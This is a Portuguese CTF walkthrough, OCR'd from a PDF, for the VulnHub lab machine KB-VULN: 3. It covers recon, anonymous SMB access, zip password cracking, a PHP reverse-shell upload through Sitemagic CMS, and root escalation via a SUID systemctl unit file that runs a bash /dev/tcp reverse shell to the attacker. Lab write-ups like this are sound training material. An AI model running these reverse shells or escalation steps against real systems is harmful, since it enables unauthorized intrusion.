VulnHub - KB-VULN: 3

RESUMO

Este é um passo-a-passo de como resolver o desafio da maquina “KB-VULN: 3”. Os detalhes de
cada etapa do teste de invasao serdo explicados, bem como os aspectos mais importantes das
ferramentas utilizadas.

De modo geral é um desafio que segue a metodologia de testes de invasao para alcancgar o
objetivo final que é obter privilégios administrativos (ou privilégios root).

Nesse caso especifico sabe-se que a maquina atacante estd na mesma rede da maquina alvo,
ambas obtendo endereco IP via DHCP. Sdo apenas essas informacgbes que estao disponiveis sobre o
cendrio.

MAQUINA ALVO

Nome: KB-VULN: 3

Data de langamento: 3 de Outubro de 2020
Autor: MachineBoy

Séries: KB-VULN

MAQUINA ATACANTE

Nome: Kali Linux 2020.4-vbox-amd64

DESENVOLVIMENTO

1. Reconhecimento (recon)

A fase de reconhecimento, também conhecida como recon no jargdo da area de cybersecurity,
sera feita basicamente com a ferramenta netdiscover. Esta ferramenta busca passivamente por
hosts que estdo ativos na rede enviando ARP requests.

E interessante utilizar esta ferramenta porque ndo ha informagdes prévias sobre a topologia da
rede onde esta sendo realizado o ataque. Importante perceber que esta ferramenta apenas
descobre segmentos de rede e hosts ativos.

1.1. Buscando por maquinas ativas
A utilizagcdo desta ferramenta é simples. A opg¢do “-i” inserida apds o comando
netdiscover define qual interface de rede sera utilizada para emitir e capturar as requisi¢ées.
Nesse caso, a interface de rede ativa é a ethO.
Basta entdo executar o comando com a opg¢do e o parametro correto, e aguardar
enquanto o reconhecimento se desenvolve:

# netdiscover -i ethO



Currently scanning: 192.168.47.8/16
aptured ARP Reqg from 2 hosts.

A ( i ( = MAC Vendor / Hostname

emtechnik GmbH

Systemtechnik GmbH

fhome/kali
ethofl

Figura 1: output do comando netdiscover

Obtém-se entdo dois enderecos IP e seus respectivos enderecos MAC, que sdo os dois
hosts ativos na rede. Ndo foi encontrada outra rede além da rede 192.168.10.0, o que delimita
mais ainda o escopo para a préxima fase.

Como o endereco 192.168.10.1 é o endereco IP do gateway padrao, entdo o endereco
da maquina alvo é 0 192.168.10.3.

2. Scanning

Os resultados da fase anterior fornecem informacées suficientes para a execucdo da fase de
scanning. Nesta fase sdo utilizadas ferramentas para determinar informacdées especificas sobre os
computadores e dispositivos conectados a rede atacada.

Agora é a etapa em que o objetivo é observar de maneira mais especifica e particular cada host
(ou até mesmo rede) encontrado. O esperado aqui é encontrar informacgdes sobre o sistema
operacional do host, servicos ativos, portas abertas e etc.

A ferramenta utilizada aqui serd o nmap (“Network Mapper”). Esta ferramenta utiliza pacotes IP
raw para determinar quais hosts estdo ativos, qual sistema operacional, tipo de firewall
implementado, entre outras caracteristicas.

As duas opgdes utilizadas junto do comando nmap, sdo: “-A”, que ativa outras opg¢des em
conjunto (detecgdo de OS, versao, scripts aplicaveis e traceroute) e “-p-“, que busca pelo range total
de portas num dispositivo. O ultimo argumento do comando é o endereco IP do host que deseja-se
fazer o scanning:

# nmap -A -p- 192.168.10.3



/home/kali
1

DNS is disabled. Try using —system-dns or specify valid

.6p1 Ubuntu 4ubuntud.3 (Ubuntu Linux; pretocol 2.8)

httpd
29 (Ubuntu)

: <unknown> (unknown)

.92 ms kb-

S and Servi ion performed.
Nmap do s (1 host up)

Figura 2: output do comando nmap com a op¢do “-A”

O retorno do comando nmap é muito mais denso do que o comando anterior. E importante
entdo saber filtrar as informagGes necessarias, que neste caso sdo:

PORT STATE SERVICE VERSION
22 OPEN Ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
2.0)
80 OPEN http Apache httpd 2.4.29 ((Ubuntu))
139 OPEN netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)
445 OPEN netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

Agora esta mais claro quais sao as possiveis superficies de ataque que podem ser analisadas na
fase de enumeragdo. Vale ressaltar que é razoavel voltar em fases anteriores do processo para refinar
buscas ou analises.

3. Enumeracao

Na fase de enumeracdo é feita uma anadlise mais profunda de cada porta/servico que é
encontrada na fase de scanning, entdo de modo geral, o objetivo da fase de enumeracgao é
investigar se ha alguma vulnerabilidade ou forma de exploragdo nos servicos e/ou portas abertas de
um dado host.

Foram encontradas quatro portas abertas e numa rapida andlise o servico escolhido para ser
enumerado serda o Samba smbd.
3.1. smbmap & smbclient



A ferramenta utilizada aqui serd o smbmap. Basicamente, o smbmap permite que o usudrio
enumere um servidor de compartilhamento Samba. A sintaxe do comando também é intuitiva:

# smbmap -H 192.168.10.3

Onde “-H” é opgao utilizada para indicar o endereco IP do host alvo. A saida do comando é a
seguinte:

/home/kali/KB-Vuln
2.168.10.3
IP: 192.168.10.3 5 Name: kb-vuln3.machine
Permissions Comment

READ, WRITE

NO ACCESS C Service (Samba &4.7.6-Ubuntu)

/home/kali/KB-Vuln

Figura 3 - output do comando smbmap para o host 192.168.10.3

Ha um disco nomeado como “Files” que tem permissao de leitura e escrita, seguido com um
comentario indicando uma possivel forma de entrada, ou informacgGes valiosas para obter acesso a
madquina alvo. Neste caso, outro comando relacionado ao protocolo SMB sera utilizado: smbclient.

O smbclient é um comando utilizado para que clients possam acessar recursos em servidores
utilizando o protocolo SMB/CIFS. A sintaxe também é simples:

# smbeclient //192.168.10.3/Files

A estrutura do comando define como servicename o seguinte: //server/service. “server” é

s

justamente o hostname do servidor que hospeda o servigo SMB e “service” é o recurso que deseja
ser alcancado.

/home/kali/KB-Vuln

192. File

mous login successful
help" to get a list of possible commands.

Tue Feb
Fri Oct
Fri Oct

P40 blocks of size 1024. 9519408 blocks

Figura 4 — smbclient executado para acessar o recurso "Files" na mdquina alvo

Aqui ha uma falha gravissima que pode ser explorada: é possivel acessar os recursos do servidor
SMB através de um usudrio com privilégios de administrador sem necessidade de utilizar uma
senha.

A conclusdo disso é que, de forma andnima um individuo ndo autorizado pode ler e escrever nos
diretérios e caminhos pertencentes a este servidor SMB. Fazendo uma listagem rapida dos



conteldos naquele diretdrio, encontra-se um arquivo compactado em .zip denominado “website”, o
qual é obtido através do comando get, no ambiente smb.

Este arquivo “website.zip” esta protegido por senha e aparenta ser um backup dos arquivos do
site hospedado num servidor web na maquina alvo.

Tue
Fri
Fri

9519408 blocks available

website.zip (55999.3 KiloBytes/sec) ( ge 55999.4 KiloBytes/s

/home/kali/KB-Vuln/again

/home/kali/KB-Vuln/again

Figura 5 - Obtencdo do arquivo website.zip para proxima fase

Exploragdo de falhas (exploiting)

Logo apo6s as fases de coleta de informacgdes é necessario entdo explorar o que foi encontrado
de vulnerabilidade na maquina alvo. Esta fase costuma possuir mais detalhes e costuma também ser
mais extensa.

4.1. Descobrindo a senha do arquivo “website.zip”

A primeira tarefa a ser feita nessa fase de exploragao é conseguir descompactar o arquivo
website.zip que esta protegido com senha. Para isso, sdo utilizadas duas ferramentas em conjunto:
zip2john e John the Ripper.

John the Ripper é utilizado para descobrir senhas relativamente fracas. E uma ferramenta que
pode ser aplicada em varios contextos e de vérias formas, aqui é visto apenas um uso bem
especifico. E fortemente recomendado um estudo mais aprofundado sobre esta ferramenta.

zip2john é uma ferramenta utilizada nos casos especificos em que lida-se com arquivos .zip, pois
€ necessario extrair do arquivo compactado as hashes que serdo passadas ao John the Ripper para
descobrir a senha do arquivo .zip principal.

O primeiro comando serd o seguinte:

# zip2john website.zip > hash.txt

,

A primeira string “zip2john” é a chamada da prépria ferramenta. Logo apds, a primeira opgdo é
0 arquivo .zip que deseja-se extrair os hashes. Por fim, hd um redirecionamento de saida enviando o
resultado da extragdo para o arquivo “hash.txt” que serd utilizado na etapa seguinte juntamente
com o John the Ripper.



Apds executado o comando de acordo com o especificado, pode-se verificar que o arquivo

“hash.txt” foi devidamente preenchido com os hashes:
/home/kali/KB-Vuln/again

Abbbae5a
nced/img/trans.gif, sitemagic/images/DefaultWhite/mail

Figura 6 - hashes extraidas do arquivo website.zip
O segundo comando, agora, sera:
# john hash.txt

Basicamente, a ferramenta John the Ripper estd sendo invocada através do comando “john” e
logo apds o nome do arquivo que contém as hashes, neste caso é “hash.txt” obtido no passo

anterior:

-] /home/kali/KB-Vuln/again
hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP 64])
No password hashes left to crack (see FAQ)

Figura 7 - output do comando john, indicando que uma senha foi encontrada

Também é possivel consultar a senha encontrada executando o mesmo comando e adicionando

mais uma opc¢do denominada “--show”, que mostra o contetudo do arquivo “hash.txt” ja resolvido:
/home/kali/KB-Vuln/again

Jadvanced/in rans.gif, site

2 left

Figura 8 - output mais completo, agora exibindo também as informacgbes encontradas a partir dos
hashes

Portanto, a senha é: porchman

Agora basta executar o comando a seguir para descompactar o arquivo “website.zip”, utilizando
a opg¢do “-P” seguida da senha para utilizar a senha encontrada nos passos anteriores:

# unzip -P porchman website.zip

Apos isso, uma listagem simples com o comando “Is” mostra todos os arquivos extraidos:

] /home/kali/KB-Vuln/again2

README . txt

Figura 9 - arquivos extraidos com sucesso

Percebe-se que todos os arquivos utilizados para a construcdo do website estd armazenado no
diretério “sitemagic” e além disso, ha também um arquivo denominado “README.txt”. Verificando



o conteudo deste arquivo, obtém-se credenciais de acesso:
® /home/kali/KB-Vuln/again2

s
README . txt

/home/kali/KB-Vuln/again2

website is activated. — kb.wvuln

/home/kali/KB-Vuln/again2

Figura 10 - Credenciais de acesso do suposto administador do Sistema

Username: admin
Password: jesse

4.2 Explorando o website

E necessdrio procurar por alguma forma de login ou autentica¢do de credenciais envolvendo o
website para que possa ser possivel testar essas credenciais encontradas. Utilizando um browser, é
feita uma tentativa de acesso ao website hospedado na maquina alvo:

Figura 11 - erro 404 para o diretdrio raiz do website

O erro retornado ao tentar acessar o diretdrio raiz indica que ndo ha nada definido para esta
requisigao.

Relembrando que dentre os arquivos extraidos do backup “website.zip” ha um diretério
chamado “sitemagic”, pode-se considerar a possibilidade de que este diretdrio também esteja
acessivel no website. Portanto, basta fazer uma nova requisicdo ao website com o formato:
“192.168.10.3/sitemagic”.

De maneira resumida, o Sitemagic CMS é um utilitario que tem por finalidade a producdo de
websites de maneira rdpida e simples.



Sitemagic CMS

Welcome Design Contact

Sitemagic CMS features unique and

user friendly features such as the
that makes it easier than

ever to customize the Jook and feel

of your website.

If you need help or want to

cont , please join us on

Facebook.

Enjoy your new website!

Figura 12 - portal "Sitemagic CMS" obtido

Como esperado, ha realmente um diretdrio no website chamado “sitemagic” e nele também é
possivel fazer login, justamente o que sera feito com as credenciais encontradas em passos
anteriores:

Sitemagic CMS

Welcome Design Contact

Figura 13 - login com as credenciais de administrador

Fazendo uma breve pesquisa na Internet encontra-se uma vulnerabilidade associada ao
Sitemagic CMS, que permite upload de arquivos tipo “application/x-php” sem verificacdo.

4.3 Upload e conexado do shell remoto

Sabendo que é possivel fazer upload de arquivos .php de maneira arbitraria, o objetivo aqui sera
fazer upload de um script que permita a conexdo remota ao shell do servidor que hospeda o website.
Existem varios scripts ja criados que cumprem com este objetivo, mas caso seja necessario, também
pode ser construido um de acordo com os requisitos da invasao.

OBS: ndo é objetivo deste relatério explicar a construgdo e/ou funcionamento de um script para
exploragdo via shell reverso. Neste caso, o script sera apenas utilizado como um passo intermediario



para alcancgar o objetivo maior. Contudo, é altamente recomendado o estudo do funcionamento e a
construcao de scripts shell reverso.

O script utilizado ja encontra-se na maquina Kali-Linux 2020.4 e para localiza-lo basta inserir o
seguinte comando:

# locate reverse-shell.php

/home/kali/KB-Vuln/again2

php-reverse-shell.php
11.php

Figura 14 - ouput do comando locate apresentando os scripts

O script escolhido sera fusr/share/webshells/php/php-reverse-shell.php. Também sera necessario
modificar o valor de duas varidveis: Sip e Sport. Para Sip deve ser inserido o endereco IP da méquina
atacante e para $port deve ser inserido o nimero de qualquer porta alta (ex: 8080, 8888, 9999, etc).

Figura 15 - varidveis Sip e Sport nas linhas 49 e 50 respectivamente. Elas devem ter seus valores
alterados

Feitas as alteragGes necessdrias no script, agora basta fazer o upload para o servidor web através do
Sitemagic CMS. Para isso, com o login efetuado como nos passos anteriores, va na aba “Content” e em
seguida na opgao “Files”.



O /4 192.168.10.3

Sitemagic CMS

B Content #% Admin Welcome Design Contact

FOLDERS FILES

e files w « Filename Size Modifie

d
» editor shell.php 538 KB  2021-02-05 02:32:43
@ gallery

@ images @Upload ® Download @Rename @Delete
(®Create @ Rename (O Delete

| Browse.. No file selected.

Figura 16 - upload do script

Visitando o caminho “192.168.10.3/sitemagic/files/” é possivel verificar que realmente o script se
encontra salvo nos arquivos do servidor web da maquina alvo:

U 4 192.168.10.3

Index of /sitemagic/files

Name Last modified Size Description

& Parent Directory -

(] editor/ 2019-10-18 16:53 -
(L3 gallery/ 2019-10-18 16:53 -
(3 images/ 2021-02-05 02:32 -

@ php-reverse-shell.php 2021-02-05 02:32 5.4K

Apache/2.4.29 (Ubuntu) Server at 192.168.10.3 Port 80
Figura 17 - script armazenado no servidor web sendo exibido no diretdrio "files"

Certifique-se de fazer o upload do script no folder “files”, para facilitar a localizagdo. Caso nao
consiga encontrar o script, retorne ao passo em que é feito o upload.

Para conectar ao shell primeiro deve-se executa-lo clicando sobre seu nome, de acordo como
aparece na Figura 17, ou também basta acessar pelo caminho “192.168.10.3/sitemagic/files/php-
reverse-shell.php”. E comum que aparega uma mensagem de erro similar com a seguinte:
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© & 192.168.10.3

WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)

Figura 18 - erro comum ao iniciar o shell reverso

Isso ocorre porque o shell reverso esta tentando estabelecer uma conexao com a maquina atacante,
gue neste caso, estara fazendo o papel de “server” para a maquina alvo. Ou seja, o script que foi
enviado a mdaquina alvo é um client que gera um shell reverso ao server que lhe for especificado
(conforme alteracdo feita nas varidveis Sip e Sport nos passos anteriores).

Com isso, é necessario abrir uma porta na maquina alvo com o mesmo numero especificado para a
variavel Sport no script e defini-la em estado de escuta, ou, LISTEN. Aqui, a varidvel Sport serd definida
com o valor “8080".

Entdo, para abrir a porta 8080 na maquina atacante, utilizaremos duas ferramentas: rlwrap e nc. O
rlwrap torna o shell que sera aberto mais “utilizavel”, com funcionalidades de histérico de comandos e
etc.

NOTA: A ferramenta rlwrap nao esta pré-instalada no SO como as outras ferramentas. Para instalar
ocomando é: # apt install -y rlwrap. Asetapasa seguirtambém podem ser seguidas sem
a utilizacdo do rlwrap, bastando suprimir o comando.

O nc é a ferramenta que prové escrita e leitura através de conexdes de rede, usando protocolo TCP
ou UDP. A sintaxe do comando é a seguinte:

# rlwrap nc -vlnp 8080

-] /home/kali/KB-Vuln
rlwrap nc
listening on [any]

64 GNU/Linux

mi-data) group ww —d:
tty; job control turned off

Figura 19 - shell reverso conectado

A principio, o shell reverso ndo vai aparecer apds executar o comando. Para isso é necessario
atualizar a pagina do navegador onde estd o caminho para o script no website. Feito isso o shell
aparecera normalmente.

Outro comando para facilitar a navegacao pelo shell reverso é:

”

$ python3 -c “import pty; pty.spawn(‘/bin/bash’)

11



Esta linha faz com que apareca a estrtura comum de um shell linux do tipo “user@host:/S”,
tornando o shell reverso mais “legivel”.

Finalizando isso, hd entdo uma conexao com um shell reverso de simples uso hospedado no servidor
web da maquina alvo.

5 Privilege Escalation
Uma vez conquistado o acesso a maquina alvo através do shell reverso, a etapa agora é
escalonamento de privilégios.
Percebe-se que o usudrio que esta conectado ao shell reverso é o “www-data”, o que pode ser
confirmado através do comando “id”.

www-datapkb-server: /% id
id

33 www-data)

Figura 20 - detalhes sobre o user "www-data"

Como este usudrio ndo detém muitos privilégios neste sistema entdo é necessdrio alcancar
outros usuarios com privilégios de administrador, normalmente o usuario root, visando justamente
obter controle maximo do sistema. Isso é escalonamento de privilégios.

Outro objetivo que também pode ser abordado nesta fase final é a preservacao do acesso, ou
seja, preparar mecanismos para que o atacante matenha o acesso a maquina comprometida de modo
gue n3o seja necessario procurar e/ou explorar falhas toda vez que desejar invadir aquele sistema. Por
enquanto, o objetivo aqui serd somente o escalonamento de privilégios.

5.2 Preparando o ambiente

Para ser possivel escalonar privilégios, é necessdrio encontrar direitérios e arquivos
(principalmente binarios) que estejam ao alcance do usudrio inicial. E valido fazer pesquisas na Internet
e utilizar outros mecanismos em buscas de falhas ja conhecidas, além das buscas que serdo feitas
também no préprio sistema.

O comando inicial aqui sera o find. Esta ferramenta é uma das principais em ambientes Linux
guando a necessidade é buscar por arquivos numa dada estrutura de diretérios. Claro que existem
diversas funcionalidades e maneiras de utilizagdo, mas serd abordado somente o que é necessario para
completar essa tarefa.

Entdo, serd executado o find com a finalidade de encontrar arquivos do tipo binario que podem
ser executados pelo o usuario atual:

$ find / -perm -u=s 2> /dev/null

Onde:
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“$ find”: procura por arquivos numa hierarquia de diretdrios;

“/”: opcdo que indica ao comando onde comecar a busca, neste caso a partir do diretério raiz;

“-perm”: opc¢do que indica ao comando qual permissdo esta relacionada ao arquivo encontrado.
Neste caso ha também o complemento “-u=s” atrelado a op¢do, indicando que as defini¢cdes de
permissdo procuradas sdo aquelas em que 0s usuarios (-u) executam arquivos binarios com os
privilégios de quem os pertence(=s);

“2> [dev/null”: redireciona toda a saida do comando que contém erros para o dispositivo
/dev/null, onde é feito o descarte da informacio de erros permitindo um output mais clean ao
comando principal;

/ -perm -u=s

fusr/1lib

fusr/lib

fusr/1lib

fusr/1lib t/dmc
ssh/ssh

Jusr/binfat
Jusr/bin/sudo
Jusr/bin/nei

/bin/syste

/bin/umount

/bin/su

/bin/mount
/bin/fusermount
/bin/ping
wwi-data@kb-server:/$ ||

Figura 21 - utilizagdo do comando find para encontrar arquivos bindrios com permissées
diferenciadas

Novamente mais uma saida de comando um pouco “recheada” de informagdes. Para o caso em
questdo é interessante analisar o bindrio especifico denominado como “/bin/systemctl”.

Um arquivo binario é um arquivo que contém o cédigo fonte compilado (ou cédigo de maquina)
de algo, por exemplo o comando “Is” tem um arquivo binario associado que é invocado para execugdo
guando é inserido o comando no shell.

systemctl é um utilitario que controla servigos, como por exemplo o servico web httpd. Como é
um utilitdrio que lida com servigos importantes, requer privilégios administrativos para seu
funcionamento e com isso, ha a possibilidade de haver uma falha associada com sua ma configuragao
permitindo que algum outro usuario possa executd-lo, mesmo sem os privilégios necessarios (que é o
acontece aqui nesta situacdo).

Como o systemctl pode ser utilizado pelo usuario www-data com as permissdes do proprietario
do binario (“-u=s” explicado no comando find), basta agora ser iniciar um servico falso que invoque
outro shell reverso, mas agora com o usuario root.

5.3 Novo payload e acesso root

13



O systemctl precisa de uma referéncia ao iniciar um servico. Essa referéncia é denominada
systemd unit file, que s3o arquivos que contém as informacdes sobre um servico, socket, etc. E possivel
gue o usuario escreva seus proprios unit files para inicializagao dos servigos que desejar.

Aideia aqui entdo é escrever um unit file que invoque um shell reverso ja no usudrio root. Para
isso as seguintes informagdes devem estar contidas num arquivo do tipo .service:

[Unit]
Description=reverse

[Service]

Type=simple

User=root

ExecStart=/bin/bash -c ‘bash -i >&
/dev/tcp/<ENDERECO IP DA MAQUINA ATACANTE>/<PORTA ALTA DA MAQUINA ATAC
ANTE> 0>&17

[Install]
WantedBy=multi-user.target

Antes de salvar o arquivo, sera necessario encontrar um diretdrio que o usuario www-data
tenha permissdo de escrita. Para isso, basta executar o seguinte comando:

# find / -type d -writable -print 2> /dev/null

Novamente serd exibida uma saida muito extensa, mas qualquer um dos diretérios que
aparecerem sdo permitidos ao usudrio www-data para escrita. A recomendacdo é que seja escolhido
um diretdrio com facil localizagdo ou caminho simples.

Foi escolhido o diretdrio /dev/shm/:

ww-datagkb-server:/$ cat /dev/shm/reverse.
cat /dev/shm/reverse.service

[Unit]

Description=reverse

Type
User=root
ExecStart=/bin/bash -c 'bash -i »& /dev/tcp/192.168.

[Installl

wi-datagkb-server:/$ ||

Figura 22 - exemplo de unit file ja configurado para gerar um shell reverso com usudrio root e
destinado na mdquina alvo

Agora que o unit file foi escrito e salvo como pretendido, é necessdério ativar o servico do shell
reverso através do systemctl. Isso é feito justamente com o bindrio encontrado anteriormente:

S /bin/systemctl link /dev/shm/reverse.service; /bin/systemctl start reverse.service
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Sao dois comandos encadeados. A primeira parte faz o link do systemctl ao unit file onde esta
descrito o shell reverso, e a segunda parte inicia o servico reverse.service que é justamente o servico que
invoca um shell reverso através do root para a maquina atacante.

ice; /bin/systemctl start reverse.service

Figura 23 - link e ativag¢do do servigo "reverse.service", gerando um reverse shell ao atacante

Na mdquina atacante é necessdrio mais uma vez abrir uma porta para que seja feita a conexdo
com o shell reverso. Neste caso, a 0 nUmero da porta deve ser o mesmo especificado no unit file do
servico reverse.shell. O comando sera:

# rlwrap nc -vinp 8888

Apds conexao feita com sucesso, é possivel verificar que realmente o usuario root esta logado
ao shell reverso:

rootidkb-server:/# id
id

root) groups=08(root)

Figura 24 - informagées sobre o usudrio root através do shell reverso

Ainda, no diretério do home do usuario root ha um arquivo denominado “root.txt”, confirmando
gue realmente foi alcancado o objetivo principal deste desafio.

~# cat root.txt

kernelblog.org

Figura 25 - arquivo root.txt lido no diretdrio home do usudrio root
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